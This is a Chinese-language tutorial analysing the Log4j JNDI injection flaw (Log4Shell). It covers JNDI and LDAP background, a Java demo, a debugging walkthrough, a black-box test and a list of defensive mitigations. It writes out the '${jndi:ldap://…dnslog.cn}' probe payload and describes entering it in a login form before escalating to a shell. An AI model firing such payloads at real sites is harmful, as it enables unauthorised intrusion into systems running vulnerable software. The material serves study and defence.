漏洞分析-log4j RCE-JAVA篇
0x00 原理分析
log4j的介绍:
log4j是java打印输出日志的一个API,只要引入了log4j的jar包或者是在xml配置文件内配置好log4j即可输入java运行时产生的日志内容,一般用于记录网站的日志信息,比如用户登录、修改用户信息等sql查询操作。列如,在下图中,启动web服务,在lib目录下引入log4j的jar包(API工具包),当用户进行登录时,就能获取到用户的操作日志,如登录查询数据库内的某个表:
当用户输入账号密码时,log4j会打印其debug日志信息,包含账号密码等(这里存在一个信息泄露的风险)
jndi的介绍:
全称:然后介绍一下jndi这个的含义:jndi(Java Naming and Directory Interface)看英文意思就明白,是java的命名和目录接口。
用法:jndi:协议://目录(远程服务器的资源),以jndi为分界线,冒号后面的内容是jndi传入的内容,可以这样理解,jndi啥也不是,只是一种规范而已,
比如log4j的logger.error()方法,他是先执行的logger.error方法,然后再到lookup方法的,当传入lookup方法的时候,jndi已经被去掉了,只读取了后面的协议+目录。
而在jdbc里,是tomcat创建的上下文去调用的lookup方法,目录的规范就是jndi的规范格式。
一种协议规范:
实战理解:这里需要浅谈一下jndi的使用,配置了很久,实战终于理解了jndi的含义。他原本的作用是规范,比如用数据库连接规范等,就是通过配置,让tomcat提供一个上下文context对象,这个对象可以通过lookup方法设置好目录(而怎么设置目录这里,就是jndi提供的一种规范格式),然后建立与数据库的连接。
(1)servlet代码:
package com.example.day45_jndi; import java.io.*; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import javax.naming.Context; import javax.naming.InitialContext; import javax.servlet.http.*; import javax.servlet.annotation.*; import javax.sql.DataSource; @WebServlet("/test") public class HelloServlet extends HttpServlet { @Override protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException { try { Context initContext = new InitialContext(); DataSource ds = (DataSource)initContext.lookup("java:comp/env/jdbc/day38"); Connection conn = ds.getConnection();//容易出错,这里要进行导包操作,导入数据库与java的驱动包 resp.getWriter().println(conn);; PreparedStatement ps = conn.prepareStatement("select * from tb_user"); ResultSet rs = ps.executeQuery(); resp.getWriter().println(rs.next()); resp.getWriter().println(rs.getString(1)); resp.getWriter().println(rs.getString(2)); resp.getWriter().println(rs.getString(3)); rs.close(); conn.close(); } catch (Exception e) { e.printStackTrace(); } } }
(2)tomcat的conf目录下的context.xml配置增加:
<Resource name="jdbc/day38" auth="Container" type="javax.sql.DataSource" maxActive="100" maxIdle="30" maxWait="10000" username="root" password="root" driverClassName="com.mysql.jdbc.Driver" url="jdbc:mysql://localhost:3306/day38" />
(3)web.xml的配置:
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <welcome-file-list> <welcome-file>index.html</welcome-file> </welcome-file-list> <resource-ref> <res-ref-name>jdbc/mysql</res-ref-name> <res-type>javax.sql.DataSource</res-type> <res-auth>Container</res-auth> </resource-ref> </web-app>
(4)容易出错的点:需要导入一个jar包:可以直接在pom.xml中新增依赖
<dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.22</version> </dependency>
(5)实现的效果:获取数据库的连接对象及执行sql语句进行查询操作:
(6)总结:主要的用法,创建tomcat容器的上下文context,然后通过这个上下文根据目录去实例化一个数据库连接源的对象,再通过这个数据源去创建数据库连接:这里的lookup方法主要就是根据目录去实例化对象用的:
Context initContext = new InitialContext(); DataSource ds = (DataSource)initContext.lookup("java:comp/env/jdbc/day38"); Connection conn = ds.getConnection();//容易出错
总结+1:所以可以这样理解,jndi是一种命名方式,是一种规范,提供给lookup方法或其他方法使用。他不止是可以访问jdbc的目录与服务,还可以访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA等
ldap的介绍:
全称:LDAP全称是Lightweight Directory Access Protocol,轻量目录访问协议。顾名思义,LDAP是设计用来访问目录数据库的一个标准而已。
一种协议:来到ldap就变得更加简单,ldap是一种协议,与rmi的协议类似。都是通过去远程服务器上加载java序列化或反序列化后的对象,然后实例化对象后,方便程序猿在本地调用那个对象的方法。
使用场景:触发Lookup插件的场景是使用:${},如上述的${java:version} 表示使用Java的Lookup插件,传入值为version然后返回对应的结果,而此处的${jndi:ldap://ip:port} 则同理表示调用Jndi的Lookup传入值为 ldap://ip:port 。
0x01 效果演示
0x02 代码分析
import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.LogManager; public class log4jRCE { private static final Logger logger = LogManager.getLogger(log4jRCE.class); public static void main(String[] args) { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); logger.error("${jndi:ldap://5xxxx.dnslog.cn}"); logger.error("${java:os}"); } }
分析的快捷键:
jndi的命名格式,调用方法为lookup。使用快捷键:ctrl+shift+alt+n(我发现好多文章都不写他们怎么调试的,看得头晕眼花,这里标注出来大家可以快速上手),快速查找类中的方法:lookup()
然后在此方法处设置断点:debug模式运行java代码:
发现确实存在调用lookup方法:
然后调用的lookup方法就会去请求dnslog。(那为什么lookup方法会去请求dnslog呢,代码的分析又是怎么样的呢,这里下篇文章再继续分析。)
0x03 实战审计
(1)问题引入:假设我们要黑盒测试log4j漏洞,那首先在不知道网站是否使用了log4j组件的情况下,我们可以测试登录框:
如下图所示,在登录框输入:登录名:${jndi:ldap://xxxx.dnslog.cn}、密码随意、验证码输入。
如果响应速度特别慢,就有可能是存在log4j rce,这时先用dnslog进行探测:
响应速度特别漫长,存在漏洞的可能性增加:
发现dnslog存在回显。然后就可以尝试用其他方法getshell了。
(2)这里我们进入代码进行审计分析:存在两处,主要是全局搜索使用了这两个包的servlet接口,然后查看是否使用了looger.error()方法即可。
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
0x04 防御措施
1、采用最新版本的log4j组件
2、恶意流量中可能存在jndi:ladp:// jdni:rmi,IDS和WAF可以编写相应规则从流量中签出攻击流量;
3、添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
4、修改配置文件log4j2.formatMsgNoLookups=True
5、修改环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
6、关闭不必要的外网请求;
7、禁用lookup或JNDI服务;
8、jdk升级到最新的版本;
0x05 参考文献
https://blog.csdn.net/philip502/article/details/122255346